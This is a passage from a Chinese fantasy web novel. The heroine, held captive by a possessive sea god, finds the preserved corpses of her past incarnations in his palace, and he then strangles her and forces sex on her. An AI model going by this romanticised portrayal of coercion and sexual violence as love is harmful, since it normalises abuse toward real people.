季白的脑海中回想起一个又一个关于鲛人的传说,但她不确定那些传说对于涅塞斯来说有没有用,毕竟他不是一条普通的鲛人。 “在想什么?” 清浅的声音从上首传来,季白抬起头就对上涅塞斯温和的笑脸,湿漉漉的指腹划过她的脸庞。 “小白最近有心事。” 反正涅塞斯八成也知道她的小心思了,季白索性破罐破摔,轻哼一声,“当然有啊。” “我想看某人的尾巴,可某人就是不给我看,还说什么都会满足我,根本就是骗我的。” 季白说着用力拧了一把涅塞斯的腰,“涅塞斯老师是大骗子,我要回陆地,我要去找查奥斯。” 季白正控诉着呢,手腕忽而一凉,紧接着就被涅塞斯拉至眼前,突如其来的凉意让季白下意识地感觉这家伙要发火了。 那双抓着她的手漂亮而冰凉,让季白情不自禁地又想到昨天这双手是如何干脆利落又优雅万分地掐掉虾头的。 他终于忍不住要对她出手了吗? 季白抬起头看着涅塞斯逼近的脸,这一瞬间她竟有些分不清她究竟是因他漂亮的脸而心跳加速还是……面对未知时的恐惧。 他眉眼弯弯笑得温和,好似半点也没有因季白提起别的男人而生气。 他这幅样子反而让季白觉得越发可怕了,她宁愿涅塞斯像泊里一样冷脸发怒,或是像赫瑞特一样破防发疯,都不想看他这幅笑眯眯的样子。 “小白这么想看我的尾巴?”涅塞斯握着她手腕的手缓缓下移,指尖拂过她的肌肤,嘴角的笑意拉扯得越发明媚,“求求我呢,求求我,说不定我就答应了。” 季白毫不犹豫地就抱着涅塞斯开始撒娇。 “求求你了,涅塞斯老师,小白想看。” 涅塞斯摸摸季白的小脸。 “这就是小白求人的态度吗?我不满意。” 季白一口银牙都快咬碎了,要不是打不过他,她真恨不能冲上去咬死他,把他的尾巴剁吧剁吧做成鱼脍。 小白小白,这家伙是把她当狗叫呢? 心里恨得牙痒痒,可脸上却还是一脸可怜又委屈地看着他。 “老师要小白如何做就能满意?” “小白自己想想办法呢。”细密的吻落在她的脸上,“想想怎么做能让我满意。” 季白哄人的耐心从来不多,她揪着他的衣领子用力在他下巴上咬了一口,直接咬出一个依稀可以看见血迹的牙印。 “我不看了。”季白气呼呼地说着,“以后都不看了。” 她说完转身就要走,可还没下床,小腿就被一个冰凉的滑腻的东西缠住了。 柔软而又冰凉的尾鳍扫过她的大腿,带来阵阵难以诉说的奇异感受,缠在她小腿上的尾巴一个用力就又把她拉了回去。 她摔进一个微凉的怀抱,还没来得及起身就被一双强壮而有力的臂膀箍住了,目光下移就看见一条漂亮的银蓝色尾巴如藤蔓般缠住了她的腿。 “给你看,别走。”涅塞斯温和的声音从季白的上首传来,声音里带着说不清的缱绻与缠绵。 季白的上半身被他的胳膊紧紧环住,下半身则被他的尾巴包裹,有一种全身上下都被他完全掌控的感觉。 鱼尾暧昧地攀援而上,留下道道暧昧的红痕。 “喜欢吗?”涅塞斯低下头在她耳边说,“这么喜欢为什么不摸摸它?” 季白正苦于找不到机会获取鳞片,如今见涅塞斯主动邀请,立即就把手按在了他的尾巴上上下摩挲,掌心下是光滑而又带点冷硬质地的漂亮鳞片,只要拔下一片,她就能返回珊瑚丛获取海神的传承了。 “喜欢。”季白轻声说,指腹细密地摸过一片又一片的鳞片,她多么希望能有那么一片不太牢固的鳞片被她蹭下来,然而涅塞斯很健康尾巴上的鳞片也很牢固。 她摸了半天鳞片依旧纹丝不动,就像是石雕的一样结实。 “唔……”耳边传来一声闷哼,季白抬眸看去就见涅塞斯满脸潮红,湛蓝色的眼眸也变得有几分迷离,他粗喘着说,“别乱摸。” 季白可从来不是听话的孩子,她见涅塞斯这么说手下的动作反而越发粗鲁了,还故意又加重了几分。 “为什么别乱摸?”季白笑眯眯地问,“涅塞斯老师的鱼尾巴好像很敏感呢。” 涅塞斯垂眸看她,微凉的肌肤逐渐又变得滚烫,胸口微微起伏着,清润的声音都变得沙哑,“知道很敏感还乱摸,故意勾老师吗?” “是啊。”季白主动探头吻了他一口,笑弯了的眼睛像极了一只小狐狸,“故意勾老师,总不能每一次都是我意乱情迷,而老师还一脸安之若素的神色吧?” 涅塞斯嘴角微微扬了扬,喉中溢出一声轻笑,随即掐着她的下巴低头吻了上去,唇齿相交之间,他炙热的体温似是要将她融化。 缠在她小腿上的尾巴紧紧收拢,鳞片刮过她的肌肤带来一种异样的体验,轻而易举地又挑起来季白体内的情欲。 季白的脸被他身上灼热的气息烧得又热又烫,她轻喘着睁开眼看着眼前的人,忍不住在心中暗暗吐槽,涅塞斯一定是悄悄点满了人鱼的魅惑技能,不然她为什么每一次都会轻而易举的被他勾引。 如果系统能听见季白的内心吐槽,肯定会忍不住嗤笑一声,再直截了当地告诉她,她就是好色。 “这么喜欢我的尾巴。”他平缓的声音中带着几分还未平息的喘息,听起来格外的色气,他抓住她的手往自己的尾巴上摸,随后季白就觉得自己似是摸到一片与其他地方完全不同的鳞片。 这块鳞片甚是……坚硬。 “我猜小白也一定很喜欢老师尾巴上的鳞片吧?” 季白的心蓦地抖了抖,要不是她的手一直被涅塞斯按着,她立时就要松开了。 他这话是什么意思,故意试探他? 耳边蓦地响起一道细微的撕拉声,似是血肉被撕裂的地狱之音,可这一声很快就消散在涅塞斯轻缓的呼吸之中。 指尖传来寒凉的黏腻,是不同于水的特殊触感,季白低眸一看大量的蓝色液体从她的指缝中泄出。 她蓦地瞪大了眼睛,这是……是涅塞斯的血? 下一瞬就见一双漂亮的手从梦幻般的蓝色血液中升起,指尖捻着一片闪闪发光的鳞片。 涅塞斯笑着把它送到季白的手中,轻声问:“小白想要我的鳞片是吗?” 坚硬而又漂亮的鳞片落入她的掌心,鳞片的底部还残留着颜色浓烈的血与涅塞斯的体温。 她想要涅塞斯的鳞片,但此时此刻接住鳞片的手却半点也不敢收拢。 他一定是知道她的目的了。 他打算怎么做,像之前一样杀了她吗? 不对,他要动手早就动手了,为何还留着她的性命? 难道是这几日的温存让他不舍了吗? 他也会不舍吗? 季白一脸担忧急切地捂住涅塞斯的伤口,急声道:“你突然拔鳞片做什么?我什么时候说要你的鳞片了,怎么会流这么多血,你疼不疼?” 蓝色的血散开后又如泉眼般涌了出来,好似怎么止都止不住,季白急得哭道:“我只是想看看你的尾巴,没有贪心地想要你的鳞片。” “为什么这血会一直流?” “别担心。”涅塞斯说,“一会就好了。” 季白眼泪汪汪地看着他。 “真的吗?” 涅塞斯微凉的手掌摸上季白的脸庞,“心疼老师?” 季白点头。 “小白不想要老师的鳞片吗?”涅塞斯的目光看向季白掌心里染着血的鳞片,似乎只要季白说不想要,他顷刻间就会毁了它。 “我……”季白缓缓收拢了掌心,盯着涅塞斯的眼睛说,“我不想要老师伤害自己,但……但这枚鳞片已经拔下来了,我想要,我想把它留在身边贴身带着,就好像涅塞斯老师时时刻刻都在我身边一样。” 涅塞斯低头吻了吻她。 “老师已经时时刻刻在你身边了,不用好像,也不用鳞片代替我陪着你。” “这枚鳞片是我身上最坚固的一枚。”涅塞斯缓声说,“我们鲛人成熟后会把它送给挚爱的人。” 季白张了张嘴正要说话,却被涅塞斯用唇堵住了嘴巴,亲吻时喉间溢出几声他的低语。 “你想要我的鳞片对不对?” “我把它给了你,会留下你吗,还是会……加速你的离开?” 季白伸手搂紧了他,脸不红心不跳地说出那句谎言。 “我不会离开你。” 季白有点摸不准涅塞斯在想什么,如果他知道她的目的,为什么非但没有对她动手,反而还把她需要的鳞片给了她? 季白思来想去估摸着可能在涅塞斯的眼里,自己现在的实力很弱,弱小到他可以随时将其抹杀,因而他不介意给她一些奖励像小孩观察蚂蚁一样看着她的挣扎,计谋与努力。 看来只要不在涅塞斯面前暴露她有恢复前世记忆的趋势,他都不会动手杀她,任他再扭曲疯狂,他也是爱她的,如果有机会能幸福快乐的在一起,他也不会想杀她。 季白得到鳞片后,就开始筹划着如何离开这儿,可涅塞斯看得她很紧,几乎是寸步不离。 最让季白崩溃的是,涅塞斯是神明,只要他愿意,他可以一直精力充沛,也就是说……他没有打盹睡觉的时候,无论季白何时睁眼都能对上涅塞斯笑眯眯的眼睛。 时间一天天的过,可季白始终没有寻到机会逃离,就在季白纠结要不要吸引赫瑞特他们过来制造混乱的时候,季白的眼前突然弹出了一个任务栏。 她明明还没有获得海神的传承,可涅塞斯后半部分的任务居然也逐渐亮起了…… 她透过眼前的界面看向正在灶台前忙碌的涅塞斯,就连做饭他也要拉着她一起,像是怕她会跑一样。 哎,涅塞斯就差往她的手腕上栓一根绳子了,说不好已经栓了一根她看不见的绳子。 【任务三:获得海神的认可与传承,并取得神光铠。】 神光铠是什么? 季白看着任务栏两眼一抹黑,除了一个名字外什么线索都没有,海神宫这么大,她要去哪儿找这件铠甲? 她忍不住轻叹了一声,默默把眼前的任务栏关掉,开始回想整座海神宫的布局。 季白一心只顾着任务,完全没有注意到涅塞斯切菜的手微微顿了顿,他回眸看了她一眼,他的目光虚虚地落在季白的面前,好似……他也在空中看到了什么东西一样。 她在这里生活了这么多天,除了那间上锁的房间外,宫殿里的每一个房间她都去过。 海神宫里囤积了不少各种各样的珍宝,其中还有一间武器房,墙壁和架子上都摆满了各样武器,还有不少挂在假人身上的盔甲。 不过依照上一个任务的经验,这神光铠八成也和她有关。 既与她有关,涅塞斯定不会把它和普通武器放在一起。 泊里把永恒之冠藏在自己的心脏,那涅塞斯呢? 他又会藏在哪儿? 季白左思右想决定还是偷偷去密室看一眼。 “尝尝看,今天的饭菜还合你的心意吗?” 一盘蒸熟的黄鱼放到季白的面前,涅塞斯的脸笼在氤氲的白雾中衬得他俊美又神秘,那双湛蓝色的眼睛穿过白雾精准无误地落在她的脸上,嘴角噙着一抹笑意。 “小白在想什么,这么入神?” “在想涅塞斯老师每天陪着我,会不会感觉很很无聊。” “小白觉得无聊了?” 季白点头,“有点,这里虽好但每天待在一个地方实在闷得很,对了,最近怎么都没有看见过……那群鲛人?他们还好吗,我想为我上次的惊慌无礼而道歉。” “他们啊。”涅塞斯漫不经心地给季白的碗里夹了块鱼肉,“他们怕吓着小白迁徙去了别的地方。” “别担心。”涅塞斯轻笑着说,“他们很好。” 季白看着他含笑的眼睛,深刻怀疑他们八成已经死了,但季白也没有多问,而是搬着椅子往涅塞斯身边凑了凑,拉着他的胳膊撒娇。 “涅塞斯老师,我想出去玩,你带我去好不好?就算不去陆地上,找座小岛也可以。” 涅塞斯摸摸她的头发,笑得温柔也拒绝得干净利落。 “现在还不行,光明神和黑暗神还在找你,你离开这儿会被他们发现的。” 他嘴角的笑意弯得深了深。 “还是说小白已经腻烦了我,想要跟着他们走?” 季白听他这么说,立即抱紧了涅塞斯,“涅塞斯老师为什么总说这种话?你明明知道我心里只有你。” 季白这么说着,又故意重重咬了一口涅塞斯。 “涅塞斯老师再这么说,我就真的去找他们了。” 胳膊上传来细微的痛感,但比痛感更强烈的是季白柔软的嘴唇,他脸上的笑意越发明媚,似乎巴不得季白多咬他几口一样。 “好,我不说了。”涅塞斯掐着她的下巴低头吻了一下,“闷在这里很无聊吗?老师给你讲故事好不好?” 季白别过头去,“不想听。” 涅塞斯挑了挑眉,手掌微微用力把她的脸扳了回来。 “又不听话了?” 涅塞斯很温柔,几乎从来没有冷过脸发过火,但却就是有一种让人害怕的气质。 “不是老师的乖学生吗?乖学生就要听老师的话。” 季白小声吐槽。 “自从来了这儿,你就再也没有教过我魔法了,老师可不会把自己的学生压在床上每天做。” 涅塞斯耳聪目明,季白的小声吐槽每一个字都清清楚楚地落进了他的耳朵里,他轻笑一声, “不喜欢吗?” “是谁故意摸老师的尾巴,又是谁紧紧抱着我说很喜欢?” “昨晚有的人可是吸得老师很紧呢。” 经过泊里的刺激,季白对于他们这些不要脸的话已经习惯了。 她装作害羞的样子别过头去不理他,脑子则在飞速旋转自己该怎么找到神光铠并离开这儿。 自从上次她破解了宫殿的迷阵离开后,涅塞斯就换了一个结界,美名其曰是为了防止被其他神明发现,但实则也是为了变相囚禁她。 季白能隐约感受到这次的阵法比先前的更强,就算她在这儿把隐形帽子收进背包其他神明也无法感知到她的存在,而她也不能出去。 想要完成这次的任务,她必须想办法支开涅塞斯,让他不要看得那么紧。 季白下定主意后,又转过身拉着涅塞斯恳求。 “求求你了,让我出去走走,我们不去很远的地方,就在海神宫附近逛逛也不行吗?” “每天闷在这儿真的很无聊。”季白晃着涅塞斯的胳膊说,“我们人类如果一直待在同一个地方会生病的,涅塞斯老师也不想看我生病对不对?” “我还想长命百岁地陪着涅塞斯老师呢,答应我嘛,好不好?” 涅塞斯垂眸看她,手指轻轻摩挲着她的下巴。 “人类确实很脆弱。” 季白的眼睛顿时亮了。 “你答应我了?” “有的人都说了再不出门她就要生病了,我还能不答应吗?我可舍不得我的宝贝学生生病了。” 季白立时抓着他的胳膊,抬头吻上他的脸颊,笑眯眯地赞道:“老师最好了,是全天下最好的老师。” 在季白吻上来的一瞬间,涅塞斯的眉眼就克制不住地往上扬了扬,手掌轻抚着她脑后顺滑的乌发,轻声道:“老师最好,就一直留在老师身边吧。” 吃过饭后,涅塞斯言而有信地带她出了门,季白一出门就悄悄把帽子收进了背包里。 自从季白上次死过一次后,她意外发现了一个帽子的新功能,她不戴的时候可以选择让别人看见帽子,也可以选择让别人看不见。 这几天季白一直把帽子戴在身上,但为了避免涅塞斯对帽子的怀疑,她选择了让涅塞斯看不见。 按理说涅塞斯是不会发现的,可她换好衣服出门时,涅塞斯的目光不经意地往她的背后看了一眼,那里正是她平时放帽子的地方。 虽然只是一眼,他还笑眯眯地夸了衣服背后的蝴蝶结漂亮,但季白总觉得他是在看她消失不见的帽子。 季白这一次再出海神宫却看见了和上次完全不同的场景,没有阴森诡异的建筑,没有怪鱼没有腐烂,明亮而湛蓝的海底世界宛若童话一般。 季白揉了揉眼睛,装作一脸惊讶地样子问:“外面……怎么又变成这样了,那些围着海神宫的建筑都去哪儿了?” 季白估摸着海神宫外应该布有某种关于空间的魔法,或者说海神宫的位置一直是移动且飘忽不定的,因而外面的坏境也会有所不同。 涅塞斯浅笑了下,说:“外面本来就是这样的。” 季白瞪大了眼睛,“那我上次看见的都是什么?” “上次小白是偷跑出来的不是吗?” “海神宫连接着许多不同的空间,嗯……”涅塞斯顿了顿,“或者说海神宫独属于一个异空间,推开门后可以去到任何你想去的地方。” “眼前的这片海域是我最喜欢的地方,所以就想带你也来看看。” 季白故作不懂地眨了眨眼,随后又回眸看了一眼他们身后不远处的海神宫,似乎是在担心海神宫会随时消失不见一样。 涅塞斯注意到她的动作时,嘴角忍不住扬了扬,“别担心,有我在,海神宫不会消失。” 涅塞斯牵着她的手微微紧了紧,语气温柔地说:“不过小白下次可不要再趁我不在的时候偷偷离开了,万一下一次掉进恐怖的魔窟里,老师来不及救你怎么办?” 威胁,这绝对是赤裸裸的威胁。 季白心中恨得牙痒痒,脸上却笑得越发甜美。 “只要老师不先离开我,我肯定不会离开海神宫,我上一次离开也是想去找你的,结果……反而被吓了一大跳。” 季白在海底任意游动着,一会摸摸水母,一会摸摸海花,全然一幅被关了太久终于能有机会出来玩的小孩模样。 季白在心中默默估算着时间差不多了后,故意停在了一块礁石前仔细观瞧着,涅塞斯跟上来后也顺着她的目光扫了一眼石头。 一块普普通通的石头。 “在看什么?” “你说……”季白轻声说,“这块石头在这儿伫立多久了。” “一万二千八百七十二年。” 季白惊得瞪大了眼睛,“你怎么知道?” “我是海神,海底的事我都知道。” 季白狐疑地看了他好几眼,而后小声“哦”了一声,嘟囔着:“难不成海底的小鱼吵架,你都清楚吗?” 涅塞斯轻笑一声,“骗你的。” 季白不解地偏了偏头,抬眸盯着他。 涅塞斯慢悠悠地说:“刚刚的数字是我瞎编的。” 季白:…… 她勉强挤出一抹笑,“我还以为老师真的什么都知道。” 虽然她打好的浪漫草稿被涅塞斯破坏掉了,但该走的流程还是要走,她得多留一点线索,确定泊里与赫瑞特会来找他的麻烦。 “涅塞斯老师。”季白拽了拽涅塞斯的胳膊,“这块石头一定在这儿立了很久,我想在石头上刻下我们的名字。” 涅塞斯垂眸看她,含笑不语。 “求你了涅塞斯老师。”季白晃着涅塞斯的胳膊说,“在我们人类世界,有情人都会把名字刻在石头上以求天长地久,难道涅塞斯老师不想和我天长地久吗?” “天长地久不是求来的。”涅塞斯侧眸看向季白,一字一句地说,“而是自己争来的。” 季白对上他湛蓝色的眼睛,一时间有几分失神…… 他的眼睛看起来依旧温柔,可眼底却涌动着让人心惊的执念与爱意,灼热到让季白几乎不敢去看。 她慌乱地移开视线,低声说:“我只是普通人类,不像涅塞斯老师天生就是神明,想要的东西都可以轻而易举地得到,人类有太多自己无法确定,无法掌控的事情,我们容易死,容易生病,容易不开心,只能把那些非人力所能及的事情寄托于神明,寄托于其他东西,就像这块小小的礁石,涅塞斯老师可能觉得它很平凡普通不值一提,可在我们人类眼中我们百年之后,它依旧存在,哪怕世间再无人记得我们,它还存在,那么它就成了我们人类眼中的永恒。” “我总有一天会死,我只是想以另一种方式求得和涅塞斯老师的永恒。” 涅塞斯俯身摸了摸眼前的这块石头,低声呢喃了一句。 “神明也不是天生就是神明。” “什么?” 这句话季白有些没听清。 涅塞斯没有回答,只是转过身来摸了摸季白的脸,笑得温柔又亲和,好似是世间最温柔的神明。 “你说了这么多动人的话,我怎么舍得拒绝你?” 他抬起手亲手在礁石上刻下自己的全名,随后侧过头看向季白。 季白见状也跟着用魔法在礁石上刻下了自己的名字,完成后,她心满意足地摸了摸礁石上的名字,笑着说:“我饿了,我们回去吧。” “刚刚闹着要出来,结果出来了一会,又要回去?” “饿了嘛。”季白撒娇,“而且老师这么好,下次一定还会让我出来的,对不对?” 涅塞斯温柔地揉了揉她的头,笑着说:“是。” 他牵着她的手往海神宫的方向去,脸上还是亲和的笑意,可在即将进门的那一秒,涅塞斯回眸看了眼礁石,下一瞬礁石上的名字就消失得无影无踪。 季白回到海神宫就借口累了,回卧室躺在床上,心里则在盘算着泊里与赫瑞特他们什么时候能找过来。 哪怕泊里没有发现她,赫瑞特至少也该知道她在涅塞斯这儿。 该不会赫瑞特真信了她留下的线索,一直在里特斯群岛找她吧? 她想着想着就突然感觉有点困,眼皮子也越来越重,而后不受控制地就睡了过去。 等她再次清醒的时候,竟惊讶地发现床上只剩下她一个人,这可是从未发生过的情况。 季白环视了一圈后,先试探性地喊涅塞斯的名字,然而无人回应。 季白立刻翻身下床先往厨房赶,她回来前说过好饿,涅塞斯或许在厨房给她做饭。 “涅塞斯?” 季白探头往厨房里瞧,厨房里冰冷冷的,一个人也没有。 涅塞斯真的不见了。 季白靠在二楼走廊的墙上往下看去,这座宫殿很大,平时她和涅塞斯两个人时,这里都显得空荡荡的,如今是越发寂静了,就好似天地间只剩下了她一个人。 季白并没有急着想办法离开这儿,而是去了那间曾经上过锁的房间。 自从上次涅塞斯邀请她一起进去后,房门上的锁就再也没有上过,好似是涅塞斯刻意制作的陷阱一般,故意引着人上钩。 她站在门前思索再三,门里或许有她想要的东西,或许没有,但她都要去看看,可她无法确定涅塞斯是不是真的离开了。 她脑子里想了很久,但在现实里只是短短的一瞬,甚至连脚步都没有停,她继续喊涅塞斯的名字,假装是在找人。 她需要提前为踏入那间房间而找一个合理的借口。 她一间间地找过去,嘴里不断喊着涅塞斯的名字,空荡荡的宫殿里回应她的只有回音。 她从三楼的房间下来时,突然察觉到来自四楼的一缕窥探,好似是有人在暗中盯着她,可当她回头看去时,四楼空空如也什么也没有。 这种莫名的感觉不禁让季白有些心里发毛,脑海中情不自禁地回想起了之前见过的可怖鲛人。 周围的一切突然静的可怕,没有一丝额外的声响,显得她的脚步声与呼喊声越发震耳欲聋,甚至好似不断地在她耳边回响,哪怕她停下,声音也没有停。 季白悄悄从空间中取出隐形帽子戴在身上,准备一旦遇见不对劲就立刻戴上。 可是突然间又什么都没有了,好似刚刚被人窥探的感觉只是她精神太过紧张的错觉。 季白又小心翼翼地把海神宫找了一遍后,再次回到了这间从未踏足过的房间,她的手放在门把手上,轻声说:“涅塞斯老师会不会在里面呢?” “只剩这里没找过了。” “涅塞斯老师之前还邀请过我进去,我现在进去的话应该没事吧?” 季白对着门讲了一大堆碎碎念,最后才假装鼓起勇气的样子抬手推开,不同于海神宫其他灯火通明的房间,这间房间的视线极其昏暗,只靠着嵌在墙上的夜明珠用以照明。 季白四处环顾了一圈,发现昏暗的房间里落满了灰尘,好似很久没有人来过了。 “涅塞斯老师?”季白低低喊了一声,无人回应。 这间房间除了光线昏暗,架子繁多外,好似没有什么特别的。 架子上除了一些书,就是一些空置的玻璃瓶。 季白握住抽屉的把手准备拉开看看,可掌心下这种奇怪的触感却让季白的心蓦地一颤。 这些架柜不是木头做的,而是……某种生物的骨头。 季白用指甲轻轻剐蹭了一下,这种滑腻又沉甸的触感是骨头没错。 她微微低下头借着昏暗的光线仔细观瞧,下一刻,她握着把手的手开始颤抖。 ……是人骨。 她大口喘息着,飞快地拉开了抽屉然后把手拿开,手掌低垂在腿边,粉嫩而圆润的指尖还在微微颤抖着。 她强行镇定下来低眸朝柜子里看去结果就看见了一排排闪烁着寒光的大小不一的刀制品,有点像是现代外科医生做手术的东西。 季白的脑袋顿时“轰”地一声炸开了,她再次环顾房间,不大的房间里共有四个用人骨制成的大柜架,那些空置的玻璃瓶好像突然之间变得鲜活,她好似看见了人类的心肝脾肺装在里面。 房间的气味变得有点难以呼吸,她捂着嘴巴往后退,想要立刻离开这儿,可又透过柜架看见了一扇暗门。 季白想起了来这儿的目的,她立即把抽屉推了回去大步朝暗门走去。 没事,不就是一些死人骨头吗? 死人她都见过不少了。 季白一面安慰自己,一面在心里大骂涅塞斯是个变态。 她抬手把手放在暗门上以为要经历过一番波折才能打开,没想到这门脆弱到可怜,轻轻一推就开了。 可门内的场景却让她顿时头皮发麻,几欲瘫软在地。 她想要往前走上一步,脚却变得麻木无力,挪动的每一步都变得无比艰难。 暗门内不血腥,不肮脏,也不暴力,甚至……它洁净美好到像是儿童的娃娃屋,上好的珍珠与宝石镶嵌成一间又一间它们专属的房间。 如果“小房间”里摆着的娃娃不是和季白生得一模一样的尸体的话,这一幕还挺美好。 她们的眼睛都圆睁着看向季白,看得季白心里直发毛。 不知涅塞斯用了何种方法使她们每一位都看起来格外鲜活,好似下一秒就会眨眨眼睛动起来了。 无数个死去的自己静静盯着她,这种怪异恐怖的氛围压得季白下一秒就想逃跑,她宁愿房间里摆放的是恶心的腐尸都不想看着自己的脸。 季白一位又一位地看下去,发现她们之中还是有些细微的差距,肤色,发色与瞳孔都各不相同,偶尔还有一位眼下会多一颗痣。 她们穿着不同时代的衣服,似是越往里的时代越古老。 季白尽量不去看她们的脸后,心中的恐惧亦消散了几分,脑子开始飞速旋转。 这里的尸体该不会是每一次“她”的转世吧? 难道涅塞斯变态把每一世转世的自己都杀了,然后藏进这间房间? 季白一想到这儿,头皮就轰地一声炸开了,好似下一秒她也会被涅塞斯杀死并放入下一个娃娃盒。 季白的呼吸蓦地一停,最外面……正好还有一间空的。 这一瞬间出于对逃避危险的本能,她下意识地就想转身逃走,结果身后却突然传来了一道温柔亲和的声音。 “不听话的坏学生,老师……该怎么罚你呢?” 【作者有话说】 一下写了四章,断更的这几天我都不敢看评论区,我不会跑路的[爆哭]但是这几天都在忙着赚小钱钱,我尽量多存稿恢复日更。 110 第110章 ◎霎那间全身的鸡皮疙瘩都起来了,胸腔里的心疯狂跳动着,仿佛下一秒就从……◎ 霎那间,季白全身的鸡皮疙瘩都起来了,胸腔里的心疯狂跳动*着,仿佛下一秒就要从嗓子眼里跳出来。 她捏了捏指尖强迫自己冷静下来,随后转过身就瞧见站在阴影中的涅塞斯。 漂亮立体的五官在黑暗中越发深邃,身影似乎完全与黑暗融为了一体,湛蓝色的眼眸静静盯着她,好似看了她很久很久…… 强烈的窒息感与压迫感扑面而来,压得季白忍不住往后退了半步,她深呼了一口气,半真半假地装作极为害怕的样子颤抖着声音问他:“涅塞斯老师……这里……这里为什么会有这么多和我长得一样的人?她们是谁?她们都死了吗?” 涅塞斯从阴影中走了出来,每一步都走得优雅又轻缓,嘴角噙着一抹温和的笑意。 “她们……都是你啊。”微凉的手指轻抚上她的脸颊激得季白忍不住轻颤了一下,“你不记得了吗?” 季白又往后退了一步,看向涅塞斯的眼神是恰到好处的恐怖。 绝对不能让他发现你记得之前的事。 “涅塞斯老师,你到底在说什么,我怎么听不懂?”季白眼中噙着泪,“她们……她们怎么会是我?她们是我,我又是谁?” 涅塞斯蓦地抓住她的手腕把人拉至身前,目光在她的脸上来回梭巡,嘴角噙着的笑意似乎是在欣赏她的畏惧与痛苦一般。 “小白害怕的样子,流眼泪的样子也好漂亮。”涅塞斯低下头吻去季白眼角的泪,“有点舍不得呢。” 这一吻很凉,凉到让季白从中嗅到了死亡的味道。 他抱起她来到那件空着的小房间前,笑吟吟地问她:“喜欢吗?这是为你准备的房间。” “别怕,很快就会过去了,一点也不疼。” 季白闭上眼睛不说话,身子却止不住的颤抖,一幅害怕到极点的样子。 她不知道哪里触动了涅塞斯的禁区,让他再次对她起了杀心。 幸运的是,这一次涅塞斯至少没有直接动手,她还有机会扭转。 季白睁开眼睛,眼中满是伤心与绝望,“涅塞斯老师对我这么好,是因为我生着一张和她们一模一样的脸吗?” “你说的挚爱之人,都是骗我的吗,你从一开始就想好要杀我了?” 季白忽而笑了一声,低着头轻声说:“也是,你是生活了数万载的神明,见过那么多的人,怎会真的爱一位普通的人类少女?” “不是骗你的,我爱你。”涅塞斯低下头吻她,明明决定要杀她了,可他的动作与神色还是那么的温柔。 吻密密麻麻地落在她的脸上,似乎是在进行最后的告别。 他轻喘着把舌尖探入季白的嘴中,抱起她压在冰晶棺上,微凉的手掌在她的肌肤上游走很快就变得炙热,身前是他滚烫的胸膛与砰砰狂跳的心跳,身后是冰冷的冰晶棺。 她的目光透过他漂亮的蓝色头发看见了自己的脸,明明是不知死去多久的尸体,可季白却仿佛从她死寂的眼神中看见了悲悯与愤怒。 季白心头一颤,有一种房间里的尸体都活了的错觉,这种感觉激得她心里发毛又不安,还带着一股不知从何而生的……愧疚? 季白脸上假装的悲伤逐渐褪去,眼神平静到宛若没有风的山林。 涅塞斯微喘着从她的唇上移开,艳红的薄唇上是潋滟的水光,看她的眼神平静又疯狂,眼尾的红使人分不清是情欲还是杀意。 “小白不是想要永恒吗,由我亲手杀死你,就可以永恒地陪在我身边。” 他一只手掐着她的脖颈,另一只手则抬起季白的腿,滚烫的吻落在她的肌肤上。 在为她准备的冰棺前,在无数尸体的见证下。 他紧拥着她似是一场残忍的绞杀,又似一场共赴深渊的沉沦。 季白即刻感受到被撕裂般的疼痛,她气得想要去咬死他,可脖子却被他的手掌牢牢箍住,随着他的缓缓收紧带来窒息般的痛苦,让她再次回想起被海带缠绕窒息而死的瞬间。 她想要抬脚去踹他,用手去打他,可身体也像上次一样一动也不能动。 她和他的实力差距还是太大了,只要他下定决心要杀她,她根本没有反抗的力量。 涅塞斯垂眸看着季白憋得通红的小脸与那双……生机勃勃地瞪着他的眼睛,他的心突然被烫了一下,脑海中不自觉地回想起一双死寂的眼眸。 还是不舍得啊,不舍得看着她的眼睛灰败下去,不舍得这具鲜活的身体失去温度,不舍得再也听不见她的声音,不舍得让这座好不容易有点温度的海神宫再次变成死一般的寂静。 明知虚假也想触碰,明知危险也想留下。 他掐着她脖子的手缓缓松开了一寸,眼底汹涌着复杂的情绪,他蓦地低下头粗喘着吻遍她脸上的每一寸肌肤。 这一世的她灵魂最齐全,也最像曾经的她。 这样的相像度让他着迷,却也标志着危险。 她随时都有可能想起曾经的一切,并得到曾经的力量。 她一旦恢复神明之躯恐怕第一件事要做的就是……涅塞斯唇角勾出一抹苦涩的笑,杀了他们。 在命运的一开始,涅塞斯就知道这场轮回终会有结束的一天,可他却像一个疯狂的赌徒一般压上了自己的全部,只为能让这场得不到结果的饮鸩止渴维持得再久一点。 重新呼吸到新鲜空气的季白一边剧烈地咳嗽一边大口大口地呼吸着,有好几次都呛得她差点背过气去。 在死亡的威胁前,季白再也顾不得什么伪装,重新恢复自由的她,抬腿就重重踹了涅塞斯一脚,怒骂道:“你算什么神明,你根本就是个魔鬼,变态!” “你不仅杀了这么多和我一模一样的人类女子,还用……还用她们的骨头做成木柜!呸,禽兽不如,杀人如麻的东西!” “我若早知你是这样的人,我宁愿落入光明神与黑暗神的手里也不会来寻你!你要杀我是吗?动手吧,我死也不会放过你。” “死也不会放过我?”涅塞斯退后了几步,平静地听着季白恶毒的咒骂,甚至听到了最后他竟然还笑出了声,“小白打算怎么死也不放过我?” 季白愣住了,她没想到涅塞斯已经变态到这种程度了。 别人骂他,他还笑得更开心了。 他捻起季白胸前的一缕头发放在鼻尖仔细嗅闻,似乎是想要记住她的味道一样。 “我也想你死也不会放过我,可是你一旦死去就什么也不会记得。”涅塞斯抬眸看着她,脸上带着温和的笑意眼底却翻涌着几近癫狂的执着与不甘,“我只能又一次地进入漫长的等待,寻找,又一次地引诱你爱上我。” “周而复始,一遍又一遍……” 季白对涅塞斯眼底的偏执情绪并不陌生,她在每一个男主的身上都见过,却无人能带给她这么强的震撼与不解。 “你……”季白退后一步,到了这种时候她也没有忘记系统的嘱咐。 “你到底在说什么?我忘记了什么东西,又该记得什么东西?” 涅塞斯盯着她的脸,忽而又轻笑了一声,眼底的癫狂逐渐褪去,又恢复成平日里温和且优雅的涅塞斯。 他理了理身上凌乱的衣衫,眼睛弯成了一道月牙。 “觉得我很可怕?可人类终归是要死的,我把她们的尸体留下来做成永恒不朽的样子,她们应该感谢我。” “你们女子不是最在意容颜了吗,我让她们的模样停留在一生中最美的时刻,难道不好吗?” 季白微微皱了皱眉,感觉涅塞斯是疯了,已经开始前言不搭后语了。 她趁着他说话的功夫,默默往后退准备随时戴着帽子逃跑。 至于神光铠……她刚刚已经看见了,最里间的那位与她一模一样的女子身上正穿着一件铠甲。 季白只看一眼就有一种很强的预感,那件铠甲就是她要找的神光铠! 季白故意同他说话拖延时间。 